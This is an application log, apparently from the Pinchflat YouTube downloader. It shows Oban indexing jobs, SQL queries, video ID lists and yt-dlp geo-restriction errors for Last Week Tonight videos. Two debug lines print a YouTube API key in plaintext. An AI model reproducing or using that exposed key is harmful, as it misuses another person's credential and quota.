"TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 16:36:39.706 [debug] QUERY OK source="media_items" db=1.3ms idle=112.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:36:39.707 [debug] QUERY OK source="tasks" db=0.1ms idle=114.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800008, 25, ~U[2026-02-10 22:36:39Z], ~U[2026-02-10 22:36:39Z]] 16:36:39.708 [info] {"args":{"id":25},"id":3799970,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":115209,"event":"job:stop","queue_time":502204,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:39.714 [info] {"args":{"id":7},"id":3799971,"meta":{},"system_time":1770762999714019724,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:39.714 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 16:36:39.714 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:39.714 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:39.715 [debug] QUERY OK source="settings" db=0.2ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:39.715 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 16:36:39.715 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:39.715 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:39.845 [debug] QUERY OK source="media_items" db=0.6ms idle=130.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 16:36:39.848 [debug] QUERY OK source="media_items" db=2.0ms idle=131.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:36:39.848 [debug] QUERY OK source="tasks" db=0.1ms idle=133.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800009, 7, ~U[2026-02-10 22:36:39Z], ~U[2026-02-10 22:36:39Z]] 16:36:39.849 [info] {"args":{"id":7},"id":3799971,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":134970,"event":"job:stop","queue_time":504304,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:40.227 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7d/83/7d83fa2724b1a3a5fc295c1ba98e0e3d3fb9cb2e0c5eda9665221987b9c7e395.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:36:40.227 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:36:40.227 [debug] QUERY OK source="settings" db=0.1ms idle=379.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:40.227 [debug] QUERY OK source="settings" db=0.0ms idle=379.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:40.227 [debug] Running yt-dlp command for action: get_media_attributes 16:36:40.228 [debug] QUERY OK source="settings" db=0.0ms idle=379.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:40.229 [debug] QUERY OK source="settings" db=0.0ms idle=379.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:40.229 [debug] QUERY OK source="settings" db=0.0ms idle=373.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:40.229 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d2/4a/d24ad2c2a273b3490acab598ea2939daa4f83197a653b1abc329b79a39cbca29.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:36:40.595 [info] {"args":{"id":20},"id":3799972,"meta":{},"system_time":1770763000594921776,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:40.595 [debug] QUERY OK source="sources" db=0.1ms idle=366.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:36:40.595 [debug] QUERY OK source="settings" db=0.1ms idle=366.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:40.595 [debug] QUERY OK source="media_profiles" db=0.1ms idle=366.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:40.595 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:40.596 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:36:40.596 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:40.596 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:40.718 [debug] QUERY OK source="media_items" db=0.7ms idle=122.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 16:36:40.719 [debug] QUERY OK source="media_items" db=0.3ms idle=123.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:36:40.719 [debug] QUERY OK source="tasks" db=0.1ms idle=123.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800010, 20, ~U[2026-02-10 22:36:40Z], ~U[2026-02-10 22:36:40Z]] 16:36:40.720 [info] {"args":{"id":20},"id":3799972,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":124989,"event":"job:stop","queue_time":496712,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:41.822 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d2/4a/d24ad2c2a273b3490acab598ea2939daa4f83197a653b1abc329b79a39cbca29.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, 